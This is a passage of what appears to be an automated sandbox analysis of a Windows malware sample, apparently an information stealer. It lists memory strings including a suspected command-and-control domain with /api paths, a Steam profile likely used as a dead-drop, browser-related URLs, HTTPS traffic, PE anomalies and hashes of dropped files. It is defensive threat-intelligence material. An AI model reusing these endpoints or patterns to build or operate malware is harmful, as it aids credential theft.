Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://community.fastly.steamstaticp
Source: Bire1g8ahY.exe, 00000000.00000003.1457483751.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://help.steampowered.com/en/
Source: Bire1g8ahY.exe, 00000000.00000003.1457483751.0000000005AA1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: Bire1g8ahY.exe, 00000000.00000003.1604146040.000000000133C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484337642.0000000001340000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1523470772.0000000001340000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1411225082.0000000005AA9000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lev-tolstoi.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lev-tolstoi.com/2U
Source: Bire1g8ahY.exe, 00000000.00000003.1523615008.00000000012FA000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459914773.0000000005AC3000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1499409777.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1460527595.0000000005AC4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lev-tolstoi.com/api
Source: Bire1g8ahY.exe, 00000000.00000003.1386534600.00000000012E2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lev-tolstoi.com/apiy
Source: Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lev-tolstoi.com/es
Source: Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lev-tolstoi.com/pi
Source: Bire1g8ahY.exe, 00000000.00000003.1386534600.00000000012FA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lev-tolstoi.com/piHt
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lev-tolstoi.com/t
Source: Bire1g8ahY.exe, 00000000.00000003.1432793541.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1458027544.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1433032479.0000000005AC2000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1457886992.0000000005ABF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1457694618.0000000005ABE000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1432927562.0000000005ABF000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://lev-tolstoi.com/x
Source: Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lev-tolstoi.com:443/api
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.steampowered.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://lv.queniujq.cn
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://medal.tv
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://player.vimeo.com
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s.ytimg.com;
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://sketchfab.com
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steam.tv/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcast.akamaized.net
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/discussions/
Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/market/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012E2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/badges
Source: Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/profiles/76561199724331900/inventory/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://steamcommunity.com/workshop/
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/
Source: Bire1g8ahY.exe, 00000000.00000003.1343774938.000000000130A000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7C185ce35c568ebbb
Source: Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/about/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/explore/
Source: Bire1g8ahY.exe, Bire1g8ahY.exe, 00000000.00000003.1523398427.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1386496751.0000000001358000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1459850809.0000000001347000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1501036417.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1484278199.000000000134C000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1343635500.00000000012D9000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1604027598.0000000001346000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/legal/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/mobile
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/news/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/points/shop/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/privacy_agreement/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/stats/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/steam_refunds/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://store.steampowered.com/subscriber_agreement/
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: Bire1g8ahY.exe, 00000000.00000003.1387514549.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387375914.0000000005AEF000.00000004.00000800.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1387439529.0000000005AEC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/recaptcha/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.cn/recaptcha/
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/recaptcha/
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Bire1g8ahY.exe, 00000000.00000003.1434496622.0000000005BC5000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.0000000001343000.00000004.00000020.00020000.00000000.sdmp, Bire1g8ahY.exe, 00000000.00000003.1364454308.0000000001350000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com
Source: Bire1g8ahY.exe, 00000000.00000003.1343589632.000000000133B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49709 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49726 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49734 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.7:49751 version: TLS 1.2

System Summary
barindex
PE file contains section with special chars
Source: Bire1g8ahY.exe Static PE information: section name:
Source: Bire1g8ahY.exe Static PE information: section name: .idata
Source: Bire1g8ahY.exe Static PE information: section name:
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr Static PE information: section name:
Source: 4830TYWIJQ5SCGDL2FZPZJN92URB.exe.0.dr Static PE information: section name: .idata
Source: 1I4F16VK8DFW90DXD.exe.0.dr Static PE information: section name:
Source: 1I4F16VK8DFW90DXD.exe.0.dr Static PE information: section name: .idata
Detected potential crypto function
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B03B 0_3_0131B03B
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B03B 0_3_0131B03B
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311805 0_3_01311805
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311805 0_3_01311805
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311942 0_3_01311942
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311942 0_3_01311942
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311C80 0_3_01311C80
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311C80 0_3_01311C80
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01305A8C 0_3_01305A8C
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B0C1 0_3_0131B0C1
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B0C1 0_3_0131B0C1
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B03B 0_3_0131B03B
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B03B 0_3_0131B03B
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311805 0_3_01311805
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311805 0_3_01311805
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311942 0_3_01311942
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311942 0_3_01311942
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311C80 0_3_01311C80
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01311C80 0_3_01311C80
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_01305A8C 0_3_01305A8C
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B0C1 0_3_0131B0C1
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0131B0C1 0_3_0131B0C1
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0134F01B 0_3_0134F01B
Source: C:\Users\user\Desktop\Bire1g8ahY.exe Code function: 0_3_0134EC7F 0_3_0134EC7F
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_008FDCB7 9_2_008FDCB7
Source: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe Code function: 9_2_008FE729 9_2_008FE729
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\1I4F16VK8DFW90DXD.exe E65319903B70AE142A07B8BF5F4573AC65B428E26CD93CBF2380E5E00F4EFC0D
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\4830TYWIJQ5SCGDL2FZPZJN92URB.exe 2AEBE4A6A652C6DE494CF0A16B36FF6788933B807A2651350960B5644C7A1185
